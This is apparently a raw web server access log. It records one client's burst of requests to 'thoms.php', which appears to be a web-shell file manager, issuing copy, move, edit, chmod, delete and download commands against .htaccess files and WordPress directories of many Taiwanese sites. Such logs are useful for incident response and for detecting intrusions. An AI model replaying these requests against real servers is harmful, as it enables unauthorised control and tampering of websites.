45.135.193.11 - - [11/Sep/2026:23:49:56 -0400] "GET /thoms.php?copy=.htaccess&p=ba-guo.com.tw%2Fweb-filter HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=.htaccess&p=ba-guo.com.tw%2Fweb-filter" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:49:56 -0400] "GET /thoms.php?copy=.htaccess&finish=1&p=ba-guo.com.tw HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=.htaccess&finish=1&p=ba-guo.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:49:56 -0400] "GET /thoms.php?copy=.htaccess&p=ba-guo.com.tw%2F.well-known HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=.htaccess&p=ba-guo.com.tw%2F.well-known" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:49:56 -0400] "GET /thoms.php?copy=.htaccess&p=ba-guo.com.tw%2Fcgi-bin HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=.htaccess&p=ba-guo.com.tw%2Fcgi-bin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:49:56 -0400] "GET /thoms.php?copy=.htaccess&p=ba-guo.com.tw%2Fupgrade HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=.htaccess&p=ba-guo.com.tw%2Fupgrade" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:49:56 -0400] "GET /thoms.php?copy=.htaccess&p=ba-guo.com.tw%2Fwp-admin HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=.htaccess&p=ba-guo.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:49:56 -0400] "GET /thoms.php?copy=.htaccess&finish=1&move=1&p=bestzyx.com.tw HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=.htaccess&finish=1&move=1&p=bestzyx.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:49:56 -0400] "GET /thoms.php?copy=.htaccess&p=bestzyx.com.tw%2Fcgi-bin HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=.htaccess&p=bestzyx.com.tw%2Fcgi-bin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:49:57 -0400] "GET /thoms.php?copy=.htaccess&p=bestzyx.com.tw%2Froster-vendor HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=.htaccess&p=bestzyx.com.tw%2Froster-vendor" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:49:57 -0400] "GET /thoms.php?copy=.htaccess&p=bestzyx.com.tw%2Foptimized-validator HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=.htaccess&p=bestzyx.com.tw%2Foptimized-validator" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:49:57 -0400] "GET /thoms.php?copy=.htaccess&p=bestzyx.com.tw%2Fwp-content HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=.htaccess&p=bestzyx.com.tw%2Fwp-content" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:49:57 -0400] "GET /thoms.php?copy=.htaccess&p=bestzyx.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=.htaccess&p=bestzyx.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:49:57 -0400] "GET /thoms.php?copy=.htaccess&finish=1&p=bestzyx.com.tw HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=.htaccess&finish=1&p=bestzyx.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:49:57 -0400] "GET /thoms.php?copy=.htaccess&p=bestzyx.com.tw%2F.well-known HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=.htaccess&p=bestzyx.com.tw%2F.well-known" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:49:57 -0400] "GET /thoms.php?copy=.htaccess&p=bestzyx.com.tw%2Fupgrade HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=.htaccess&p=bestzyx.com.tw%2Fupgrade" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:49:57 -0400] "GET /thoms.php?copy=.htaccess&p=bestzyx.com.tw%2Fwp-admin HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=.htaccess&p=bestzyx.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:49:57 -0400] "GET /thoms.php?copy=.htaccess&finish=1&move=1&p=bft.com.tw HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=.htaccess&finish=1&move=1&p=bft.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:49:57 -0400] "GET /thoms.php?copy=.htaccess&p=bft.com.tw%2Fsync-sample HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=.htaccess&p=bft.com.tw%2Fsync-sample" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:49:57 -0400] "GET /thoms.php?copy=.htaccess&p=bft.com.tw%2Fupgrade HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=.htaccess&p=bft.com.tw%2Fupgrade" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:49:57 -0400] "GET /thoms.php?copy=.htaccess&finish=1&p=bft.com.tw HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=.htaccess&finish=1&p=bft.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:49:57 -0400] "GET /thoms.php?copy=.htaccess&p=bft.com.tw%2F.tmb HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=.htaccess&p=bft.com.tw%2F.tmb" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:49:57 -0400] "GET /thoms.php?copy=.htaccess&p=bft.com.tw%2Fclient-global HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=.htaccess&p=bft.com.tw%2Fclient-global" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:49:57 -0400] "GET /thoms.php?copy=.htaccess&p=bft.com.tw%2Fwp-content HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=.htaccess&p=bft.com.tw%2Fwp-content" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:49:57 -0400] "GET /thoms.php?copy=.htaccess&p=bft.com.tw%2F.well-known HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=.htaccess&p=bft.com.tw%2F.well-known" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:49:58 -0400] "GET /thoms.php?copy=.htaccess&p=bft.com.tw%2Fwp-admin HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=.htaccess&p=bft.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:49:58 -0400] "GET /thoms.php?copy=.htaccess&p=bft.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=.htaccess&p=bft.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:49:58 -0400] "GET /thoms.php?copy=.htaccess&p=wp-content%2Fthemes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=.htaccess&p=wp-content%2Fthemes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:49:58 -0400] "GET /thoms.php?copy=.htaccess&finish=1&move=1&p=wp-content HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=.htaccess&finish=1&move=1&p=wp-content" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:49:58 -0400] "GET /thoms.php?copy=.htaccess&finish=1&p=wp-content HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=.htaccess&finish=1&p=wp-content" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:49:58 -0400] "GET /thoms.php?edit=thoms.php&p=ba-guo.com.tw HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?edit=thoms.php&p=ba-guo.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:49:58 -0400] "GET /thoms.php?edit=thoms.php&env=ace&p=ba-guo.com.tw HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?edit=thoms.php&env=ace&p=ba-guo.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:49:58 -0400] "GET /thoms.php?chmod=-20260912023718.htaccess&p= HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?chmod=-20260912023718.htaccess&p=" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:49:58 -0400] "GET /-20260912023718.htaccess HTTP/1.1" 200 281 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:49:58 -0400] "GET /thoms.php?p=&view=-20260912023718.htaccess HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?p=&view=-20260912023718.htaccess" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:49:58 -0400] "GET /thoms.php?del=-20260912023718.htaccess&p= HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?del=-20260912023718.htaccess&p=" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:49:58 -0400] "GET /thoms.php?copy=-20260912023718.htaccess&p= HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=-20260912023718.htaccess&p=" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:49:58 -0400] "GET /thoms.php?dl=-20260912023718.htaccess&p= HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?dl=-20260912023718.htaccess&p=" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:49:58 -0400] "GET /thoms.php?copy=ba-guo.com.tw%2Fwp-includes&p=besth2o.com.tw HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=ba-guo.com.tw%2Fwp-includes&p=besth2o.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:49:58 -0400] "GET /thoms.php?copy=ba-guo.com.tw%2Fwp-includes&p=bestjudy.com.tw HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=ba-guo.com.tw%2Fwp-includes&p=bestjudy.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:49:58 -0400] "GET /thoms.php?copy=ba-guo.com.tw%2Fwp-includes&p=big-wife.com.tw HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=ba-guo.com.tw%2Fwp-includes&p=big-wife.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:49:58 -0400] "GET /thoms.php?copy=ba-guo.com.tw%2Fwp-includes&p=broadweb.com-20260912023716 HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=ba-guo.com.tw%2Fwp-includes&p=broadweb.com-20260912023716" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:49:59 -0400] "GET /thoms.php?copy=ba-guo.com.tw%2Fwp-includes&p=biotaiwan.com.tw HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=ba-guo.com.tw%2Fwp-includes&p=biotaiwan.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:49:59 -0400] "GET /thoms.php?copy=ba-guo.com.tw%2Fwp-includes&p=cgi-bin HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=ba-guo.com.tw%2Fwp-includes&p=cgi-bin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:49:59 -0400] "GET /thoms.php?copy=ba-guo.com.tw%2Fwp-includes&p=bestzyx.com.tw HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=ba-guo.com.tw%2Fwp-includes&p=bestzyx.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:49:59 -0400] "GET /thoms.php?copy=ba-guo.com.tw%2Fwp-includes&p=biotaiwan.com-20260912023713 HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=ba-guo.com.tw%2Fwp-includes&p=biotaiwan.com-20260912023713" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:49:59 -0400] "GET /thoms.php?copy=ba-guo.com.tw%2Fwp-includes&p=upgrade HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=ba-guo.com.tw%2Fwp-includes&p=upgrade" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:49:59 -0400] "GET /thoms.php?copy=ba-guo.com.tw%2Fwp-includes&p=bossini.com.tw HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=ba-guo.com.tw%2Fwp-includes&p=bossini.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:49:59 -0400] "GET /thoms.php?copy=ba-guo.com.tw%2Fwp-includes&p=wordpress-6.6.2-zh_TW HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=ba-guo.com.tw%2Fwp-includes&p=wordpress-6.6.2-zh_TW" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:49:59 -0400] "GET /thoms.php?copy=ba-guo.com.tw%2Fwp-includes&p=bogroup.com.tw HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=ba-guo.com.tw%2Fwp-includes&p=bogroup.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:49:59 -0400] "GET /thoms.php?copy=ba-guo.com.tw%2Fwp-includes&p=broadweb.com.tw HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=ba-guo.com.tw%2Fwp-includes&p=broadweb.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:49:59 -0400] "GET /thoms.php?copy=ba-guo.com.tw%2Fwp-includes&finish=1&p= HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=ba-guo.com.tw%2Fwp-includes&finish=1&p=" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:49:59 -0400] "GET /thoms.php?copy=ba-guo.com.tw%2Fwp-includes&p=ba-guo.com-20260912023525 HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=ba-guo.com.tw%2Fwp-includes&p=ba-guo.com-20260912023525" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:49:59 -0400] "GET /thoms.php?copy=ba-guo.com.tw%2Fwp-includes&p=beauty-dental.com.tw HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=ba-guo.com.tw%2Fwp-includes&p=beauty-dental.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:49:59 -0400] "GET /thoms.php?copy=ba-guo.com.tw%2Fwp-includes&p=bioway88.com.tw HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=ba-guo.com.tw%2Fwp-includes&p=bioway88.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:49:59 -0400] "GET /thoms.php?copy=ba-guo.com.tw%2Fwp-includes&p=booking-wise2.com.tw HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=ba-guo.com.tw%2Fwp-includes&p=booking-wise2.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:49:59 -0400] "GET /thoms.php?copy=ba-guo.com.tw%2Fwp-includes&finish=1&move=1&p= HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=ba-guo.com.tw%2Fwp-includes&finish=1&move=1&p=" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:49:59 -0400] "GET /thoms.php?copy=ba-guo.com.tw%2Fwp-includes&p=ba-guo.com.tw HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=ba-guo.com.tw%2Fwp-includes&p=ba-guo.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:50:00 -0400] "GET /thoms.php?copy=ba-guo.com.tw%2Fwp-includes&p=betcity.com.tw HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=ba-guo.com.tw%2Fwp-includes&p=betcity.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:50:00 -0400] "GET /thoms.php?copy=ba-guo.com.tw%2Fwp-includes&p=bfl.com.tw HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=ba-guo.com.tw%2Fwp-includes&p=bfl.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:50:00 -0400] "GET /thoms.php?copy=ba-guo.com.tw%2Fwp-includes&p=wordpress-6.6-20260912023539 HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=ba-guo.com.tw%2Fwp-includes&p=wordpress-6.6-20260912023539" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:50:00 -0400] "GET /thoms.php?copy=ba-guo.com.tw%2Fwp-includes&p=wp-content-20260912023544 HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=ba-guo.com.tw%2Fwp-includes&p=wp-content-20260912023544" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:50:00 -0400] "GET /thoms.php?copy=ba-guo.com.tw%2Fwp-includes&p=bft.com.tw HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=ba-guo.com.tw%2Fwp-includes&p=bft.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:50:00 -0400] "GET /thoms.php?copy=ba-guo.com.tw%2Fwp-includes&p=bodbooks.com.tw HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=ba-guo.com.tw%2Fwp-includes&p=bodbooks.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:50:00 -0400] "GET /thoms.php?copy=ba-guo.com.tw%2Fwp-includes&p=wp-content HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=ba-guo.com.tw%2Fwp-includes&p=wp-content" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:50:00 -0400] "GET /thoms.php?copy=ba-guo.com.tw%2Fwp-comments-post.php&p=ba-guo.com.tw%2Fwp-admin HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=ba-guo.com.tw%2Fwp-comments-post.php&p=ba-guo.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:50:00 -0400] "GET /thoms.php?copy=ba-guo.com.tw%2Fwp-comments-post.php&p=ba-guo.com.tw%2F.well-known HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=ba-guo.com.tw%2Fwp-comments-post.php&p=ba-guo.com.tw%2F.well-known" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:50:00 -0400] "GET /thoms.php?copy=ba-guo.com.tw%2Fwp-comments-post.php&p=ba-guo.com.tw%2Fweb-filter HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=ba-guo.com.tw%2Fwp-comments-post.php&p=ba-guo.com.tw%2Fweb-filter" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:50:00 -0400] "GET /thoms.php?copy=ba-guo.com.tw%2Fwp-comments-post.php&finish=1&move=1&p=ba-guo.com.tw HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=ba-guo.com.tw%2Fwp-comments-post.php&finish=1&move=1&p=ba-guo.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:50:00 -0400] "GET /thoms.php?copy=ba-guo.com.tw%2Fwp-comments-post.php&p=ba-guo.com.tw%2Fcgi-bin HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=ba-guo.com.tw%2Fwp-comments-post.php&p=ba-guo.com.tw%2Fcgi-bin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:50:00 -0400] "GET /thoms.php?copy=ba-guo.com.tw%2Fwp-comments-post.php&p=ba-guo.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=ba-guo.com.tw%2Fwp-comments-post.php&p=ba-guo.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
